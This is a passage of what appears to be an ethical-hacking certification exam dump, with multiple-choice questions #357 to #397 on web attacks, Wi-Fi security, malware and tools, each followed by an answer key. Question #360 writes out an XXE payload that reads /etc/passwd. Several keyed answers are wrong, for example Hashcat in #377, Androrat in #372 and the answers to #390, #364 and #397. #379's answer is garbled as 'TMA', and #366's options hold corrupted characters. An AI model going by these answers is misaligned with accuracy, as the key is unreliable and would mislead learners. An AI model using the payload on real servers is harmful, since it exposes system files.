C. Functions as a service

D. Infrastructure as a service

Correct Answer: *D*

Question #357 *Topic 1*

CyberTech Inc. recently experienced SQL injection attacks on its official website. The company appointed Bob, a security professional, to build and incorporate defensive strategies against such attacks. Bob adopted a practice whereby only a list of entities such as the data type, range, size, and value, which have been approved for secured access, is accepted.
What is the defensive technique employed by Bob in the above scenario?

A. Whitelist validation

B. Output encoding

C. Blacklist validation

D. Enforce least privileges

Correct Answer: *A*

Question #358 *Topic 1*

Rebecca, a security professional, wants to authenticate employees who use web services for safe and secure communication. In this process, she employs a component of the Web Service Architecture, which is an extension of SOAP, and it can maintain the integrity and confidentiality of SOAP messages.
Which of the following components of the Web Service Architecture is used by Rebecca for securing the communication?

A. WS-Work Processes

B. WS-Security

C. WS-Policy

D. WSDL

Correct Answer: *B*

Question #359 *Topic 1*

Joel, a professional hacker, targeted a company and identified the types of websites frequently visited by its employees. Using this information, he searched for possible loopholes in these websites and injected a malicious script that can redirect users from the web page and download malware onto a victim's machine.
Joel waits for the victim to access the infected web application so as to compromise the victim's machine.
Which of the following techniques is used by Joel in the above scenario?

A. Watering hole attack

B. DNS rebinding attack

C. MarioNet attack

D. Clickjacking attack

Correct Answer: *A*

Question #360 *Topic 1*

Which of the following web vulnerabilities would an attacker be attempting to exploit if they delivered the following input?
<!DOCTYPE blah [< !ENTITY trustme SYSTEM "file:///etc/passwd" >] >

A. SQLi

B. XXE

C. XXS

D. IDOR

Correct Answer: *B*

Question #361 *Topic 1*

Elante company has recently hired James as a penetration tester. He was tasked with performing enumeration on an organization's network. In the process of enumeration, James discovered a service that is accessible to external sources. This service runs directly on port 21.
What is the service enumerated by James in the above scenario?

A. Network File System (NFS)

B. Remote procedure call (RPC)

C. Border Gateway Protocol (BGP)

D. File Transfer Protocol (FTP)

Correct Answer: *D*

Question #362 *Topic 1*

When considering how an attacker may exploit a web server, what is web server footprinting?

A. When an attacker creates a complete profile of the site's external links and file structures

B. When an attacker uses a brute-force attack to crack a web-server password

C. When an attacker implements a vulnerability scanner to identity weaknesses

D. When an attacker gathers system-level data, including account details and server names

Correct Answer: *A*

Question #363 *Topic 1*

Kate dropped her phone and subsequently encountered an issue with the phone's internal speaker. Thus, she is using the phone's loudspeaker for phone calls and other activities. Bob, an attacker, takes advantage of this vulnerability and secretly exploits the hardware of Kate's phone so that he can monitor the loudspeaker's output from data sources such as voice assistants, multimedia messages, and audio files by using a malicious app to breach speech privacy.
What is the type of attack Bob performed on Kate in the above scenario?

A. SIM card attack

B. aLTEr attack

C. Spearphone attack

D. Man-in-the-disk attack

Correct Answer: *C*

Question #364 *Topic 1*

Stella, a professional hacker, performs an attack on web services by exploiting a vulnerability that provides additional routing information in the SOAP header to support asynchronous communication. This further allows the transmission of web-service requests and response messages using different TCP connections.
Which of the following attack techniques is used by Stella to compromise the web services?

A. Web services parsing attacks

B. WS-Address spoofing

C. SOAPAction spoofing

D. XML injection

Correct Answer: *C*

Question #365 *Topic 1*

Jack, a professional hacker, targets an organization and performs vulnerability scanning on the target web server to identify any possible weaknesses, vulnerabilities, and misconfigurations. In this process, Jack uses an automated tool that eases his work and performs vulnerability scanning to find hosts, services, and other vulnerabilities in the target server.
Which of the following tools is used by Jack to perform vulnerability scanning?

A. Infoga

B. NCollector Studio

C. Netsparker

D. WebCopier Pro

Correct Answer: *C*

Question #366 *Topic 1*

Given below are different steps involved in the vulnerability-management life cycle.
1) Remediation
2) Identify assets and create a baseline
3) Verification
4) Monitor
5) Vulnerability scan
6) Risk assessment
Identify the correct sequence of steps involved in vulnerability management.

A. 2 4 ’ꞇɅ 3 ’ꞇɅ 1 ’ꞇɅ 6 ’ꞇɅ 5 ’ꞇɅ

B. 2 1 ’ꞇɅ 6 ’ꞇɅ 3 ’ꞇɅ 5 ’ꞇɅ 4 ’ꞇɅ

C. 2 3 ’ꞇɅ 4 ’ꞇɅ 6 ’ꞇɅ 5 ’ꞇɅ 1 ’ꞇɅ

D. 1 6 ’ꞇɅ 5 ’ꞇɅ 4 ’ꞇɅ 3 ’ꞇɅ 2 ’ꞇɅ

Correct Answer: *A*

Question #367 *Topic 1*

What information security law or standard aims at protecting stakeholders and the general public from accounting errors and fraudulent activities within organizations?

A. FISMA

B. PCI-DSS

C. SOX

D. ISO/IEC 27001:2013

Correct Answer: *C*

Question #368 *Topic 1*

Which wireless security protocol replaces the personal pre-shared key (PSK) authentication with Simultaneous Authentication of Equals (SAE) and is therefore resistant to offline dictionary attacks?

A. Bluetooth

B. WPA2-Enterprise

C. WPA3-Personal

D. ZigBee

Correct Answer: *C*

Question #369 *Topic 1*

The security team of Debry Inc. decided to upgrade Wi-Fi security to thwart attacks such as dictionary attacks and key recovery attacks. For this purpose, the security team started implementing cutting-edge technology that uses a modern key establishment protocol called the simultaneous authentication of equals
(SAE), also known as dragonfly key exchange, which replaces the PSK concept.
What is the Wi-Fi encryption technology implemented by Debry Inc.?

A. WPA

B. WEP

C. WPA3

D. WPA2

Correct Answer: *C*

Question #370 *Topic 1*

Tony wants to integrate a 128-bit symmetric block cipher with key sizes of 128, 192, or 256 bits into a software program, which involves 32 rounds of computational operations that include substitution and permutation operations on four 32-bit word blocks using 8-variable S-boxes with 4-bit entry and 4-bit exit.
Which of the following algorithms includes all the above features and can be integrated by Tony into the software program?

A. CAST-128

B. RC5

C. TEA

D. Serpent

Correct Answer: *D*

Question #371 *Topic 1*

Which among the following is the best example of the third step (delivery) in the cyber kill chain?

A. An intruder creates malware to be used as a malicious attachment to an email.

B. An intruder's malware is triggered when a target opens a malicious email attachment.

C. An intruder's malware is installed on a targets machine.

D. An intruder sends a malicious attachment via email to a target.

Correct Answer: *D*

Question #372 *Topic 1*

Jake, a professional hacker, installed spyware on a target iPhone to spy on the target user's activities. He can take complete control of the target mobile device by jailbreaking the device remotely and record audio, capture screenshots, and monitor all phone calls and SMS messages.
What is the type of spyware that Jake used to infect the target device?

A. DroidSheep

B. Androrat

C. Trident

D. Zscaler

Correct Answer: *B*

Question #373 *Topic 1*

James is working as an ethical hacker at Technix Solutions. The management ordered James to discover how vulnerable its network is towards footprinting attacks. James took the help of an open-source framework for performing automated reconnaissance activities. This framework helped James in gathering information using free tools and resources.
What is the framework used by James to conduct footprinting and reconnaissance activities?

A. OSINT framework

B. WebSploit Framework

C. Browser Exploitation Framework

D. SpeedPhish Framework

Correct Answer: *A*

Question #374 *Topic 1*

Miley, a professional hacker, decided to attack a target organization's network. To perform the attack, she used a tool to send fake ARP messages over the target network to link her MAC address with the target system's IP address. By performing this, Miley received messages directed to the victim's MAC address and further used the tool to intercept steal, modify, and block sensitive communication to the target system.
What is the tool employed by Miley to perform the above attack?

A. Wireshark

B. BetterCAP

C. DerpNSpoof

D. Gobbler

Correct Answer: *B*

Question #375 *Topic 1*

Shiela is an information security analyst working at HiTech Security Solutions. She is performing service version discovery using Nmap to obtain information about the running services and their versions on a target system.
Which of the following Nmap options must she use to perform service version discovery on the target host?

A. -sN

B. -sV

C. -sX

D. -sF

Correct Answer: *B*

Question #376 *Topic 1*

A security analyst uses Zenmap to perform an ICMP timestamp ping scan to acquire information related to the current time from the target host machine.
Which of the following Zenmap options must the analyst use to perform the ICMP timestamp ping scan?

A. -Pn

B. -PU

C. -PP

D. -PY

Correct Answer: *C*

Question #377 *Topic 1*

Tony is a penetration tester tasked with performing a penetration test. After gaining initial access to a target system, he finds a list of hashed passwords.
Which of the following tools would not be useful for cracking the hashed passwords?

A. Hashcat

B. John the Ripper

C. THC-Hydra

D. netcat

Correct Answer: *A*

Question #378 *Topic 1*

Juliet, a security researcher in an organization, was tasked with checking for the authenticity of images to be used in the organization's magazines. She used these images as a search query and tracked the original source and details of the images, which included photographs, profile pictures, and memes.
Which of the following footprinting techniques did Rachel use to finish her task?

A. Google advanced search

B. Meta search engines

C. Reverse image search

D. Advanced image search

Correct Answer: *C*

Question #379 *Topic 1*

Jack, a disgruntled ex-employee of Incalsol Ltd., decided to inject fileless malware into Incalsol's systems. To deliver the malware, he used the current employees' email IDs to send fraudulent emails embedded with malicious links that seem to be legitimate. When a victim employee clicks on the link, they are directed to a fraudulent website that automatically loads Flash and triggers the exploit.
What is the technique used by Jack to launch the fileless malware on the target systems?

A. In-memory exploits

B. Legitimate applications

C. Script-based injection

D. Phishing

Correct Answer: *TMA*

Question #380 *Topic 1*

An organization decided to harden its security against web-application and web-server attacks. John, a security personnel in the organization, employed a security scanner to automate web-application security testing and to guard the organization's web infrastructure against web-application threats. Using that tool, he also wants to detect XSS, directory transversal problems, fault injection, SQL injection, attempts to execute commands, and several other attacks.
Which of the following security scanners will help John perform the above task?

A. AlienVault® OSSIM

B. Syhunt Hybrid

C. Saleae Logic Analyzer

D. Cisco ASA

Correct Answer: *B*

Question #381 *Topic 1*

What type of virus is most likely to remain undetected by antivirus software?

A. Cavity virus

B. Macro virus

C. Stealth virus

D. File-extension virus

Correct Answer: *C*

Question #382 *Topic 1*

A group of hackers were roaming around a bank office building in a city, driving a luxury car. They were using hacking tools on their laptop with the intention to find a free-access wireless network.
What is this hacking process known as?

A. Wardriving

B. Spectrum analysis

C. Wireless sniffing

D. GPS mapping

Correct Answer: *A*

Question #383 *Topic 1*

Calvin, a software developer, uses a feature that helps him auto-generate the content of a web page without manual involvement and is integrated with SSI directives. This leads to a vulnerability in the developed web application as this feature accepts remote user inputs and uses them on the page. Hackers can exploit this feature and pass malicious SSI directives as input values to perform malicious activities such as modifying and erasing server files.
What is the type of injection attack Calvin's web application is susceptible to?

A. CRLF injection

B. Server-side template injection

C. Server-side JS injection

D. Server-side includes injection

Correct Answer: *D*

Question #384 *Topic 1*

Henry is a penetration tester who works for XYZ organization. While performing enumeration on a client organization, he queries the DNS server for a specific cached DNS record. Further, by using this cached record, he determines the sites recently visited by the organization's user.
What is the enumeration technique used by Henry on the organization?

A. DNS zone walking

B. DNS cache snooping

C. DNS cache poisoning

D. DNSSEC zone walking

Correct Answer: *B*

Question #385 *Topic 1*

Gregory, a professional penetration tester working at Sys Security Ltd., is tasked with performing a security test of web applications used in the company. For this purpose, Gregory uses a tool to test for any security loopholes by hijacking a session between a client and server. This tool has a feature of intercepting proxy that can be used to inspect and modify the traffic between the browser and target application. This tool can also perform customized attacks and can be used to test the randomness of session tokens.
Which of the following tools is used by Gregory in the above scenario?

A. Wireshark

B. Nmap

C. Burp Suite

D. CxSAST

Correct Answer: *C*

Question #386 *Topic 1*

Becky has been hired by a client from Dubai to perform a penetration test against one of their remote offices. Working from her location in Columbus, Ohio, Becky runs her usual reconnaissance scans to obtain basic information about their network. When analyzing the results of her Whois search, Becky notices that the IP was allocated to a location in Le Havre, France.
Which regional Internet registry should Becky go to for detailed information?

A. ARIN

B. LACNIC

C. APNIC

D. RIPE

Correct Answer: *D*

Question #387 *Topic 1*

BitLocker encryption has been implemented for all the Windows-based computers in an organization. You are concerned that someone might lose their cryptographic key. Therefore, a mechanism was implemented to recover the keys from Active Directory.
What is this mechanism called in cryptography?

A. Key archival

B. Certificate rollover

C. Key escrow

D. Key renewal

Correct Answer: *C*

Question #388 *Topic 1*

Which of the following tactics uses malicious code to redirect users' web traffic?

A. Spear-phishing

B. Phishing

C. Spimming

D. Pharming

Correct Answer: *D*

Question #389 *Topic 1*

_____ is a type of phishing that targets high-profile executives such as CEOs, CFOs, politicians, and celebrities who have access to confidential and highly valuable information.

A. Spear phishing

B. Vishing

C. Whaling

D. Phishing

Correct Answer: *C*

Question #390 *Topic 1*

Calvin, a grey-hat hacker, targets a web application that has design flaws in its authentication mechanism. He enumerates usernames from the login form of the web application, which requests users to feed data and specifies the incorrect field in case of invalid credentials. Later, Calvin uses this information to perform social engineering.
Which of the following design flaws in the authentication mechanism is exploited by Calvin?

A. Password reset mechanism

B. Insecure transmission of credentials

C. User impersonation

D. Verbose failure messages

Correct Answer: *A*

Question #391 *Topic 1*

Mirai malware targets IoT devices.
After infiltration, it uses them to propagate and create botnets that are then used to launch which types of attack?

A. MITM attack

B. Password attack

C. Birthday attack

D. DDoS attack

Correct Answer: *D*

Question #392 *Topic 1*

Jude, a pen tester working in Keiltech Ltd., performs sophisticated security testing on his company's network infrastructure to identify security loopholes. In this process, he started to circumvent the network protection tools and firewalls used in the company. He employed a technique that can create forged TCP sessions by carrying out multiple SYN, ACK, and RST or FIN packets. Further, this process allowed Jude to execute DDoS attacks that can exhaust the network resources.
What is the attack technique used by Jude for finding loopholes in the above scenario?

A. Spoofed session flood attack

B. UDP flood attack

C. Peer-to-peer attack

D. Ping-of-death attack

Correct Answer: *A*

Question #393 *Topic 1*

In an attempt to damage the reputation of a competitor organization, Hailey, a professional hacker, gathers a list of employee and client email addresses and other related information by using various search engines, social networking sites, and web spidering tools. In this process, she also uses an automated tool to gather a list of words from the target website to further perform a brute-force attack on the previously gathered email addresses.
What is the tool used by Hailey for gathering a list of words from the target website?

A. CeWL

B. Orbot

C. Shadowsocks

D. Psiphon

Correct Answer: *A*

Question #394 *Topic 1*

Morris, an attacker, warned to check whether the target AP is in a locked state. He attempted using different utilities to identify WPS-enabled APs in the target wireless network. Ultimately, he succeeded with one special command-line utility.
Which of the following command-line utilities allowed Morris to discover the WPS-enabled APs?

A. wash

B. net view

C. macof

D. ntptrace

Correct Answer: *A*

Question #395 *Topic 1*

John, a security analyst working for an organization, found a critical vulnerability on the organization's LAN that allows him to view financial and personal information about the rest of the employees. Before reporting the vulnerability, he examines the information shown by the vulnerability for two days without disclosing any information to third parties or other internal employees. He does so out of curiosity about the other employees and may take advantage of this information later.
What would John be considered as?

A. Cybercriminal

B. White hat

C. Gray hat

D. Black hat

Correct Answer: *C*

Question #396 *Topic 1*

Ben purchased a new smartphone and received some updates on it through the OTA method. He received two messages: one with a PIN from the network operator and another asking him to enter the PIN received from the operator. As soon as he entered the PIN, the smartphone started functioning in an abnormal manner.
What is the type of attack performed on Ben in the above scenario?

A. Tap 'n ghost attack

B. Phishing

C. Advanced SMS phishing

D. Bypass SSL pinning

Correct Answer: *C*

Question #397 *Topic 1*

An attacker decided to crack the passwords used by industrial control systems. In this process, he employed a loop strategy to recover these passwords. He used one character at a time to check whether the first character entered is correct; if so, he continued the loop for consecutive characters. If not, he terminated the loop. Furthermore, the attacker checked how much time the device took to finish one complete password authentication process, through which he deduced how many characters entered are correct.
What is the attack technique employed by the attacker to crack the passwords of the industrial control systems?

A. Buffer overflow attack

B. Aside-channel attack

C. Denial-of-service attack

D. HMI-based attack

Correct Answer: *D*